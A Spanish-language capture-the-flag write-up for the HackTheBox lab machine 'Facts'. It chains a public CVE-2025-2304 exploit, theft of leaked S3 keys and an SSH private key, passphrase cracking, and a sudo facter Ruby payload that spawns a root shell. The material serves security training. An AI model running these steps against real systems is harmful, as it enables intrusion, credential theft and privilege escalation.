
Writeup de la máquina HackTheBox Facts — CVE-2025-2304, enumeración de MinIO S3, descifrado de claves SSH y escalada de privilegios con facter.
| Campo | Detalles |
|---|---|
| Nombre | Facts |
| SO | Linux |
| Dificultad | Easy |
| Lanzamiento | Season 10 |
| Retirada | No |
Recon → Enumeración Web → CVE-2025-2304 (Asignación Masiva) → Fuga de Credenciales S3/MinIO → Extracción de Clave SSH → Descifrado de Frase de Contraseña → Shell de Usuario → Abuso de Sudo con facter → Root
sudo nmap -p- --min-rate 5000 -T4 <TARGET_IP> -oN ports.nmap
sudo nmap -sV -sC -p 22,80,54321 <TARGET_IP>
Resultados:
22/tcp open ssh OpenSSH 9.9p1 Ubuntu
80/tcp open http nginx 1.26.3 (Camaleon CMS)
54321/tcp open http MinIO S3 Server
echo "<TARGET_IP> facts.htb" | sudo tee -a /etc/hosts
feroxbuster -u http://facts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 40
curl -s http://facts.htb/robots.txt
curl -s http://facts.htb/sitemap.xml
Hallazgos clave:
http://facts.htb/admin/loginhttp://facts.htb/admin/registerVisite http://facts.htb/admin/register y cree una cuenta. Tenga en cuenta que hay un captcha: regístrese mediante el navegador.
El endpoint updated_ajax utiliza permit! permitiendo que todos los parámetros, incluido role, sean actualizados.
git clone https://github.com/Alien0ne/CVE-2025-2304
cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U <username> -P <password> -e
Salida:
[+] Inicio de sesión confirmado
Rol de usuario actual: client
[+] Rol de usuario actualizado: admin
[+] Extrayendo credenciales S3
s3 access key: AKIAA5CA83CCFE35CD69
s3 secret key: zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n
s3 endpoint: http://localhost:54321
El puerto 54321 ejecuta un servidor compatible con MinIO S3. Usando las credenciales filtradas:
import boto3
from botocore.client import Config
s3 = boto3.client(
's3',
endpoint_url='http://facts.htb:54321',
aws_access_key_id='AKIAA5CA83CCFE35CD69',
aws_secret_access_key='zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n',
config=Config(signature_version='s3v4'),
region_name='us-east-1'
)
paginator = s3.get_paginator('list_objects_v2')
for page in paginator.paginate(Bucket='internal'):
for o in page.get('Contents', []):
if 'info-etags' not in o['Key']:
print(o['Key'])
s3.download_file('internal', o['Key'], '/tmp/' + o['Key'].replace('/', '_'))
Archivos clave encontrados:
.ssh/authorized_keys
.ssh/id_ed25519 ← Clave privada SSH
.profile
.bashrc
chmod 600 /tmp/.ssh_id_ed25519
ssh2john /tmp/.ssh_id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Frase de contraseña descifrada: dragonballz
ssh -i /tmp/.ssh_id_ed25519 [email protected]
# Introducir frase de contraseña: dragonballz
cat /home/william/user.txt
sudo -l
(ALL) NOPASSWD: /usr/bin/facter
Facter carga hechos personalizados como scripts Ruby. Como podemos ejecutarlo como root sin contraseña, inyectamos código Ruby arbitrario:
mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
setcode do
exec("/bin/bash -p")
end
end
EOF
sudo facter --custom-dir=/tmp/facts pwn
¡Shell de root obtenida!
whoami # root
cat /root/root.txt
Este writeup es solo con fines educativos. Siempre realice pruebas de seguridad en sistemas que posea o tenga permiso explícito para probar.
| Herramienta | Propósito |
|---|
| Nmap | Escaneo de puertos y detección de servicios |
| Feroxbuster | Enumeración de directorios web |
| CVE-2025-2304 PoC | Escalada de privilegios en Camaleon CMS |
| boto3 (Python) | Enumeración y descarga de archivos desde MinIO/S3 |
| ssh2john | Convertir clave SSH en hash descifrable |
| John the Ripper | Descifrar frase de contraseña de clave SSH |
| facter | Escalada de privilegios mediante mala configuración de sudo |